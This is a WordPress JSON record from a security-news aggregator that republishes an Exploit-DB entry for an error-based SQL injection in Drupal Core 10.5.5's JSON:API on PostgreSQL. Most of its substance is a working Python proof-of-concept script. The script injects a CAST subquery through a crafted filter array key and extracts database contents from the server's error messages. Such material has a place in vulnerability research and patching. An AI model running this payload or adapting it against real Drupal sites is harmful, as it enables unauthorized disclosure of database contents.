{"id":58954,"date":"2026-06-01T14:53:47","date_gmt":"2026-06-01T14:53:47","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=58954"},"modified":"2026-06-01T14:53:47","modified_gmt":"2026-06-01T14:53:47","slug":"drupal-core-1055-error-based-sql-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=58954","title":{"rendered":"Drupal Core 10.5.5 &#8211; Error-Based SQL Injection_EDB-ID:52608"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-01T19:31:56&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Drupal Core 10.5.5 &#8211; Error-Based SQL Injection Google Dork: N\/A Date: 2026-05-31 Exploit Author: cardosource Vendor Homepage: https:\/\/www.drupal.org Software Link: https:\/\/www.drupal.org\/project\/drupal Version: Drupal Core 10.5.5 Tested&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;Drupal Core 10.5.5 &#8211; Error-Based SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52608&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-9082&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: Drupal Core 10.5.5 &#8211; Error-Based SQL Injection \\r\\n# Google Dork: N\/A\\r\\n# Date: 2026-05-31\\r\\n# Exploit Author: cardosource\\r\\n# Vendor Homepage: https:\/\/www.drupal.org\\r\\n# Software Link: https:\/\/www.drupal.org\/project\/drupal\\r\\n# Version: Drupal Core 10.5.5\\r\\n# Tested on: Debian Linux (Docker), PHP 8.2, Apache, PostgreSQL 17\\r\\n# CVE: CVE-2026-9082\\r\\n#\\r\\n# Description:\\r\\n# This proof-of-concept demonstrates an Error-Based SQL Injection in\\r\\n# Drupal Core 10.5.5 (PostgreSQL). User-controlled JSON:API filter\\r\\n# array keys influence SQL query construction, allowing database\\r\\n# information disclosure through SQL error messages.\\r\\n\\r\\n\\r\\n\\r\\nimport requests\\r\\nimport json\\r\\nfrom urllib.parse import urlencode\\r\\n\\r\\nTARGET_URL = \\&#8221;http:\/\/localhost:8080\/jsonapi\/node\/article\\&#8221;\\r\\n\\r\\nBANNER = \\&#8221;\\&#8221;\\&#8221;\\r\\n[+] Drupal Core 10.5.5 &#8211; Error-Based SQL Injection\\r\\n[+] CVE-2026-9082\\r\\n[+] Target: JSON:API (PostgreSQL)\\r\\n\\&#8221;\\&#8221;\\&#8221;\\r\\n\\r\\n\\r\\ndef extract_data(subquery):\\r\\n    headers = {\\r\\n        \\&#8221;Accept\\&#8221;: \\&#8221;application\/vnd.api+json\\&#8221;,\\r\\n        \\&#8221;Content-Type\\&#8221;: \\&#8221;application\/vnd.api+json\\&#8221;\\r\\n    }\\r\\n    \\r\\n    payload = f\\&#8221;0||CAST(({subquery}) AS INTEGER)\\&#8221;\\r\\n   \\r\\n    params = {\\r\\n        \\&#8221;filter[my_filter][condition][path]\\&#8221;: \\&#8221;title\\&#8221;,\\r\\n        \\&#8221;filter[my_filter][condition][operator]\\&#8221;: \\&#8221;IN\\&#8221;,\\r\\n        \\&#8221;filter[my_filter][condition][value][0]\\&#8221;: \\&#8221;Example\\&#8221;,\\r\\n        f\\&#8221;filter[my_filter][condition][value][{payload}]\\&#8221;: \\&#8221;Injection\\&#8221;\\r\\n    }\\r\\n    \\r\\n    try:\\r\\n        response = requests.get(TARGET_URL, headers=headers, params=params, timeout=10)\\r\\n       \\r\\n        if response.status_code == 500:\\r\\n            try:\\r\\n                error = response.json().get(\\&#8221;errors\\&#8221;, [{}])[0].get(\\&#8221;detail\\&#8221;, \\&#8221;\\&#8221;)\\r\\n                if \\&#8221;invalid input syntax\\&#8221; in error:\\r\\n                    data = error.split(&#8216;\\&#8221;&#8216;)[1] if &#8216;\\&#8221;&#8216; in error else error\\r\\n                    print(f\\&#8221;\\\\033[92m[SUCCESS]\\\\033[0m {data}\\&#8221;)\\r\\n            except json.JSONDecodeError:\\r\\n                pass\\r\\n    except requests.exceptions.RequestException:\\r\\n        pass\\r\\n\\r\\n\\r\\nif __name__ == \\&#8221;__main__\\&#8221;:\\r\\n    print(BANNER) \\r\\n    extract_data(\\&#8221;SELECT version()\\&#8221;)&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/www.exploit-db.com\/raw\/52608&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.exploit-db.com\/exploits\/52608&#8243;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-01T19:31:56&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Drupal Core 10.5.5 &#8211; Error-Based SQL Injection Google Dork: N\/A Date: 2026-05-31 Exploit Author: cardosource Vendor Homepage: https:\/\/www.drupal.org Software Link: https:\/\/www.drupal.org\/project\/drupal Version: Drupal&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,40,13,7,11,5],"class_list":["post-58954","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Drupal Core 10.5.5 - Error-Based SQL Injection_EDB-ID:52608 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=58954\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Drupal Core 10.5.5 - Error-Based SQL Injection_EDB-ID:52608 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-01T19:31:56&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Drupal Core 10.5.5 &#8211; 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